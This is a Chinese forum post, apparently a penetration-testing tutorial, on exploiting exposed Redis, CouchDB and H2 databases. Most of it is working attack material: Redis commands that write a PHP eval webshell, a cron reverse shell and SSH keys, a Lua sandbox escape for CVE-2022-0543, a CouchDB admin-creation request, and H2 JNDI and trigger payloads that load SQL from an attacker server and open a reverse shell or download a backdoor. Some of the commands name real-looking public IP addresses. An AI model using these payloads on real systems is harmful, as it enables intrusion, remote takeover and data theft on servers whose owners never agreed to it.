马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
一、数据库-Redis-未授权RCE&CVE
1、未授权访问:CNVD-2015-07557
(1)漏洞描述
Redis默认环境下会绑定在6379端口
如果没有采取相干策略(如添加防火墙规则制止非信任泉源IP访问),会将Redis袒露在公网上;如果没有设置暗码认证(一样平常为空)的环境下,会导致任意用户在可以访问目的服务器的环境下未授权访问Redis以及读取Redis的数据。
攻击者在未授权访问Redis的环境下可以利用Redis的相干方法,可以成功将本身的公钥写入目的服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目的服务器。
(2)影响危害
易受攻击对象:Redis linux环境 对公网开放 未启用认证 以root方式启动(非必需)
现象
- Redis被实行过flushall命令进行清空
- Redis内新建crackit的key
- Redis的dir参数被指向/root/ssh文件夹
- /root/.ssh目次下生成authoriz_keys文件(或覆盖现有的)
(3)环境搭建
靶机:ubuntu 192.168.1.111
安装redis服务器(redis-server)
- wget http://download.redis.io/releases/redis-4.0.10.tar.gz
复制代码 解压,进入源码目次,然后编译(make、make install)
- tar -zxvf redis-4.0.10.tar.gz
- cd redis-4.0.10
- make
- make install
复制代码
启动redis-server,注意关闭ubuntu的 防火墙iptables and ufw
检察是否启用了redis-server
- ps -ef |grep redis-server
复制代码
攻击机:kali 192.168.1.110
kali安装安装redis客户端(redis-cli)
- wget http://download.redis.io/releases/redis-3.2.0.tar.gz
- tar xzf redis-3.2.0.tar.gz
- cd redis-3.2.0
- make
- make install
复制代码 测试redis客户端毗连
漏洞利用须知:
必须在非保护模式下才有大概利用这个漏洞,如果在保护模式下即使访问了redis也是无法实行命令的,如下图所示
Redis处于保护模式,只能本地链接,我们需要修改配置文件../redis.conf
vim redis.conf
# bind 127.0.0.1
protected-mode no
修改redis配置文件后需要重新启动redis
然后重新测试redis毗连
redis常见命令
- redis-cli -h 192.168.1.111 #远程连接redis::
- 192.168.1.111:6379> info #查看redis版本信息、服务器版本信息等
- 192.168.1.111:6379> CONFIG GET dir #获取默认的redis目录
- 192.168.1.111:6379> CONFIG GET dbfilename #获取默认的rdb文件名
- 192.168.1.111:6379> set x “test” #将变量x的值设为test
- 192.168.1.111:6379> get x #获取变量x的值
复制代码 (4)漏洞复现
Type1:写入webshell
前提条件:
1.目的有web网站
2.知道网站根目次绝对路径(可以利用phpinfo大概错误暴路径等)。
3.对目的网站根目次有写入权限。
获取网站路径方法https://www.cnblogs.com/endust/p/12132374.html
漏洞利用:
- config set dir /tmp #设置WEB写入目录
- config set dbfilename 1.php #设置写入文件名
- set test "<?php phpinfo();?>" #设置写入文件代码
- bgsave #保存执行
- save #保存执行
复制代码
- 目的有网站,使用的是xampp,xampp网站默认路径/opt/lampp/htdocs
- 192.168.1.111:6379> config set dir /opt/lampp/htdocs
- OK
- 192.168.1.111:6379> config set dbfilename 1.php
- OK
- 192.168.1.111:6379> set test "<?php phpinfo();?>"
- OK
- 192.168.1.111:6379> bgsave
- Background saving started
- 192.168.1.111:6379> save
- OK
- 192.168.1.111:6379>
复制代码
- 欣赏器访问http://192.168.1.111/1.php ,发现目的靶机成功写入1.php
set x "\n\n\n<?php @eval($_POST['cc']);?>\n\n\n"
Type2:写定时任务反弹shell
- config set dir /var/spool/cron
- set yy "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.110/5555 0>&1\n\n\n"
- config set dbfilename x
- save
复制代码
客户机监听5555端口,反弹shell未成功
Type3:写入Linux ssh-key公钥
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,
然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys
把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key
起首在攻击机(kali)上生成ssh公钥
将公钥写入foo.txt文件
- (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
复制代码
再把key.txt文件内容写入redis缓冲
cat key.txt | redis-cli -h 192.168.1.111 -x set xxx
设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
注意: redis 可以创建文件但无法创建目次,以是,redis 待写入文件地点的目次必须事先存在。
这里是因为目的靶机不存在.ssh目次(默认没有,需要生成公、私钥大概创建ssh毗连时才会生成)
目的使用ssh服务毗连其他服务器后,会自动 产生.ssh目次
经测试必须是目的服务器通过ssh毗连其他服务器,目的服务器才会产生./ssh目次。若是其他服务器自动ssh毗连目的服务器,则目的服务器不产生.ssh目次。
测试是否可以通过ssh登录目的服务器,成功登录
Tyep4:自动化工具
redis-rogue-serverTyep4:自动化工具redis-rogue-server
编译工具:
- cd RedisModulesSDK/exp/
- make
复制代码 工具利用:
- ./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1
复制代码 vulfocus靶场实验:
漏洞利用
交互模式:
反弹模式:反弹shell未成功
学习参考: Redis 攻击方法总结(三)-阿里云开辟者社区
2、未授权访问-CNVD--2019-21763
(1)漏洞描述
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的环境下使被攻击服务器加载恶意.so 文件,从而实现长途代码实行。
(2)漏洞利用
工具:https://github.com/vulhub/redis-rogue-getshell
- #Windows下载工具zip包上传至服务器
- #解压
- unzip redis-rogue-getshell-master.zip
- #编译
- cd redis-rogue-getshell-master
- cd RedisModulesSDK/
- make
复制代码 编译后会生成.so文件
检察帮助
- python3 redis-master.py -h
复制代码 命令实行:
- python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
复制代码- python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "id"
复制代码
同样可以实行其他命令,如
- #查看当前路径
- python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "pwd"
- #查看当前用户名
- python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "whoami"
- #查看tmp目录下的所有文件和文件夹
- python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "ls /tmp"
复制代码 3、沙箱绕过RCE-CVE-2022-0543
(1)漏洞简介
Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。Redis 存在代码注入漏洞,攻击者可利用该漏洞长途实行代码。
(2)漏洞 利用
Poc:实行id命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
实行pwd命令、ls命令
- #执行pwd命令
- eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0
- #执行ls命令
- eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0
复制代码
实战中有没有这个漏洞呢?
FOFA语法搜一下
二、数据库-Couchdb-未授权RCE&CVE
1、Couchdb 垂直权限绕过(CVE-2017-12635)
(1)漏洞描述
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其交际平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用。
Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞,该漏洞源于基于rlang的JSON解析器和基于JavaScript的JSON解析器之间存在差异。攻击者可利用该漏洞访问任意的shell命令或获取管理员权限。
#数据库应用-Couchdb-未授权越权&CVE漏洞
默认端口:5984
(2)漏洞利用
1、先创建用户
修改数据包
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
{
"type": "user",
"name": "xiaodi",
"roles": ["_admin"],
"roles": [],
"password": "xiaodi"
}
2、登录用户授权
Get:/_utils/
xiaodi xiaodi
2、Couchdb 命令实行 (CVE-2017-12636)
(1)漏洞描述
Apache CouchDB是美国阿帕奇(Apache)软件基金会一个免费、开源、面向文档的数据库,是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞实行任意的shell命令(包括:从公共网络上下载和实行脚本)。
(2)漏洞利用
默认端口是5984
fofa也可以搜
port=“5984”
就全是 couchDB的数据库
exp利用
1、下载exp.py
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
2、修改目的和反弹地点
3、Python3调用实行即可
实行之前在攻击主机实行监听:
三、数据库-H2database-未授权RCE&VCVE
(1)漏洞描述
Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于欣赏器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许长途攻击者通过包含子字符串的jdbc:h2:mem JDBC URL实行任意代码。
(2)漏洞利用
默认端口:20051(实战中端口是有 大概更改的)
有些 网站也有大概是8082和9082,照旧需要通过一些其他的特征来判定。
H2database控制端,如果看到这个界面说明是H2database,一个java应用数据库。
安全问题:在2.1.210版本 之前的H2控制台包含Jdbc的 攻击。
网上 利用方案就是利用JNDI注入
H2database-未授权访问漏洞复现_h2 database connection-CSDN博客
在攻击机上启动JNDI服务:
下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
- wget https://github.com/welk1n/JNDI-Injection-Exploit
复制代码 生成实行RMI Payload-URL
- java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.220.95
- #-A 参数后是攻击机IP地址
复制代码
javax.naming.InitialContext
其他复现思路:
使用JNDI工具生成RMI利用链,实行命令下载后门文件
- java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch "wget http://x.x.x.x/shell.elf" -A 攻击机IP地址
复制代码 填入URL提交实行,点击毗连
下载后门之后,给木马文件加实行权限(照旧和上面同样的方式)
- java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch "chmod 777 shell.elf" -A 攻击机IP地址
复制代码 靶场地点有加载rmi url就说明实行了,末了再实行 后门。
1、未授权进入:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
2、RCE实行反弹:
-创建数据库文件:h2database.sql
- CREATE TABLE test (
- id INT NOT NULL
- );
- CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
- Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
- #反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
复制代码 -启动提供SQL文件长途加载服务
利用python搭建web服务
python3 -m http.server 端口
实验访问python搭建的web服务
-填入Payload使其加载长途SQL
- jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\
复制代码 jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://49.232.220.95:9999/fuckh2database.sql';
http://49.232.220.95:9999/fuckh2database.sql
nc监听反弹shell端口
nc -lvvp xxxx
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |